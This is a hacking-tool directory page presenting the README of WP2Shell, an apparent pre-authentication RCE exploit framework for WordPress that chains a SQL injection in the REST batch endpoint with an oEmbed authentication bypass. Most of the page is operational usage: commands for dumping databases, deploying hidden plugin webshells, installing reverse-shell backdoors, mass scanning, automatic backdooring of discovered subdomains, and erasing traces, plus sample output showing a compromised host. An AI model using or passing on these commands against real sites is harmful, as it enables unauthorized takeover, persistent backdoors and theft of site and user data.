Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
Tools/GitHubGitHub/g0d150ne/wp2shell
Penetration Testing FrameworksReconnaissanceVulnerability ScannersExploit FrameworksPersistence MechanismsExploitationWeb Application ExploitationWAF BypassRemote Access ToolPayload Development
GitHubg0d150ne/wp2shell
1029 days agoNot yet reviewed

WP2Shell

Modular WordPress pre-auth exploit framework chaining SQL injection and authentication bypass to deliver remote code execution, interactive shells, backdoors, and mass vulnerability scanning.

View Repository

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

WP2Shell - WordPress Pre-Auth RCE Exploit

CVE-2026-63030 + CVE-2026-60137
Version: 4.0.0
Author: G0D150NE

📌 Overview

WP2Shell is a full-chain exploit tool for WordPress pre-authentication remote code execution. It combines two critical vulnerabilities:

  • CVE-2026-63030 - SQL Injection in REST API Batch endpoint
  • CVE-2026-60137 - Authentication Bypass via oEmbed Cache Poisoning

This tool allows complete compromise of vulnerable WordPress installations without any authentication - from detection to full RCE and persistence.

⚡ Features

  • 🔍 Non-destructive checking - Safe vulnerability confirmation
  • 📊 Multi-technique extraction - UNION, Error-based, Blind SQLi
  • 🚀 Full RCE chain - From SQLi to admin account creation
  • 🐚 Webshell deployment - Hidden plugin-based backdoor
  • 🧹 Cleanup capability - Remove all traces
  • 📡 Mass scanning - Threaded scanner for multiple targets
  • 🤖 Autopwn mode - Subdomain discovery + automatic exploitation
  • 🌐 Proxy rotation - Support for rotating proxies
  • 🕵️ Stealth mode - Random delays and WAF bypass techniques

🔧 Installation

root@kitploit:~
# Clone repository
git clone https://github.com/g0d150ne/wp2shell.git
cd wp2shell

# No dependencies needed - uses Python 3.8+ standard library
chmod +x wp2shell.py

🎯 Usage

Command Structure

root@kitploit:~
python3 wp2shell.py [COMMAND] [OPTIONS] [TARGET]

Available Commands

CommandDescription
checkNon-destructive vulnerability confirmation
readExtract data via SQL injection
exploitFull pre-auth RCE chain
shellDeploy webshell with existing credentials
masscanMass scan multiple targets
autopwnAutomatic discovery → scan → exploit

🚀 Examples

1. Vulnerability Check

root@kitploit:~
python3 wp2shell.py check https://target.com
root@kitploit:~
python3 wp2shell.py check https://target.com --confirm-timing --sleep 5

2. Data Extraction

Basic fingerprint:

root@kitploit:~
python3 wp2shell.py read https://target.com

Extract users:

root@kitploit:~
python3 wp2shell.py read https://target.com --preset users

Custom query:

root@kitploit:~
python3 wp2shell.py read https://target.com --query "SELECT @@version"

Dump entire database:

root@kitploit:~
python3 wp2shell.py read https://target.com --preset dumpall --max-length 4096

3. Full Exploitation

Basic exploit:

root@kitploit:~
python3 wp2shell.py exploit https://target.com

Exploit with interactive shell:

root@kitploit:~
python3 wp2shell.py exploit https://target.com --interactive

Exploit with backdoor installation:

root@kitploit:~
python3 wp2shell.py exploit https://target.com --backdoor --lhost 192.168.1.100 --lport 4444

Exploit with database dump:

root@kitploit:~
python3 wp2shell.py exploit https://target.com --dumpdb

Exploit with cleanup (remove traces):

root@kitploit:~
python3 wp2shell.py exploit https://target.com --cleanup

4. Using Existing Admin Credentials

root@kitploit:~
python3 wp2shell.py shell https://target.com --user admin --password secret123 --interactive
root@kitploit:~
python3 wp2shell.py shell https://target.com --user admin --password secret123 --command "whoami"

5. Mass Scanning

root@kitploit:~
# Create targets file
echo "https://target1.com" > targets.txt
echo "https://target2.com" >> targets.txt

# Scan with 50 threads
python3 wp2shell.py masscan --file targets.txt --threads 50 --output results.csv

6. Autopwn Mode (Full Automation)

root@kitploit:~
python3 wp2shell.py autopwn --domain example.com --lhost 192.168.1.100

This will:

  1. Discover subdomains via crt.sh
  2. Identify WordPress installations
  3. Exploit all vulnerable sites
  4. Install backdoors on successful targets

🎮 Interactive Shell

After exploitation, you get a full interactive shell:

root@kitploit:~
python3 wp2shell.py exploit https://target.com -i
root@kitploit:~
[*] Interactive shell — type 'exit' to quit
/var/www/html $ id
uid=33(www-data) gid=33(www-data)
/var/www/html $ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
...
/var/www/html $ exit

🛡️ Options Reference

Common Options

OptionDescription
--timeoutHTTP timeout in seconds (default: 30)
--proxiesComma-separated proxy list (e.g., http://127.0.0.1:8080)
--stealthEnable stealth mode with random delays
-v, --verboseEnable debug output
-q, --quietSuppress banner and info messages

Read Command Options

OptionDescription
--prefixTable prefix (default: wp_)
--auto-prefixAuto-discover table prefix
--max-lengthMax chars per value (default: 128)
--techniqueExtraction technique: auto/union/error/blind
--presetData preset: fingerprint/users/dumpall
--queryArbitrary SQL expression to extract

Exploit Command Options

OptionDescription
--prefixTable prefix (default: wp_)
--no-discoverSkip auto-discovery, use defaults
-i, --interactiveDrop into shell after exploitation
-c, --commandExecute single command after exploitation
--backdoorInstall persistence backdoor
--lhostLHOST for reverse shell (default: 10.0.0.1)
--lportLPORT for reverse shell (default: 4444)
--dumpdbDump database after exploitation
--cleanupDelete created user and webshell on exit

🔬 Technical Details

Vulnerability Chain

  1. SQL Injection (CVE-2026-63030)

    • Occurs in /wp-json/batch/v1 endpoint
    • author_exclude parameter vulnerable to time-based blind SQLi
    • Allows UNION and error-based extraction
  2. Authentication Bypass (CVE-2026-60137)

    • oEmbed cache poisoning via /_embed parameter
    • Allows creating admin users through customizer changeset
    • Triggers re-entry chain for privileged account creation

Supported WordPress Versions

VersionStatus
6.9.0✅ Vulnerable
6.9.1✅ Vulnerable
6.9.2✅ Vulnerable
6.9.3✅ Vulnerable
6.9.4✅ Vulnerable
7.0.0✅ Vulnerable
7.0.1✅ Vulnerable
≥ 7.0.2❌ Patched

Extraction Techniques

TechniqueSpeedData SizeRequirements
UNION⚡ Very FastUnlimitedTarget must not filter UNION
Error🚀 Fast~30 chars/reqTarget must expose error messages
Blind🐢 SlowUnlimitedBoolean oracle available

📊 Output Examples

Successful Exploitation

root@kitploit:~
░▒▓█▓▒░░▒▓█▓▒░░▒▓█▓▒░▒▓███████▓▒░▒▓███████▓▒░ ░▒▓███████▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓████████▓▒░▒▓█▓▒░      ░▒▓█▓▒░        
                                                                                                                                                                                                                            
  CVE-2026-63030 + CVE-2026-60137
  WordPress Pre-Auth RCE  [v4.0.0]
  + G0D150NE

[1/7] Reconnaissance
  Target: https://target.com
  WordPress 6.9.3
[+] UNION extraction available (in-band, 1 request/value)

[2/7] Enumerating target
[+] Discovered table prefix: wp_

[3/7] Locating embed target
[+] Embed URL: https://target.com/2020/01/01/hello-world/

[4/7] Seeding oEmbed cache posts
[+] Seed payload delivered

[5/7] Extracting cache post IDs
[+] Cache IDs: [12345, 12346, 12347, 12348]

[6/7] Triggering escalation chain
[+] Administrator created via re-entry chain

[7/7] Deploying webshell
[+] Authenticated
[+] RCE confirmed
  uid: www-data

[+] ========================================================
[+]   TARGET COMPROMISED
[+]   Admin:  wp_service_a1b2 / G7hK9xQw2p$L!mN
[+]   Shell:  https://target.com/wp-content/plugins/cache_a1b2/cache_a1b2.php
[+] ========================================================

⚠️ Disclaimer

This tool is for authorized security testing and educational purposes only. Usage against systems without explicit permission is illegal. The authors assume no responsibility for any misuse.

📚 References

  • CVE-2026-63030
  • CVE-2026-60137
  • WordPress Security Advisory
  • WP2Shell Technical Blog

🤝 Contributing

Found a bug? Want to improve the tool? Pull requests welcome!

  1. Fork the repository
  2. Create your feature branch
  3. Commit your changes
  4. Push to the branch
  5. Open a Pull Request

📄 License

MIT License - See LICENSE file for details.

Download Tool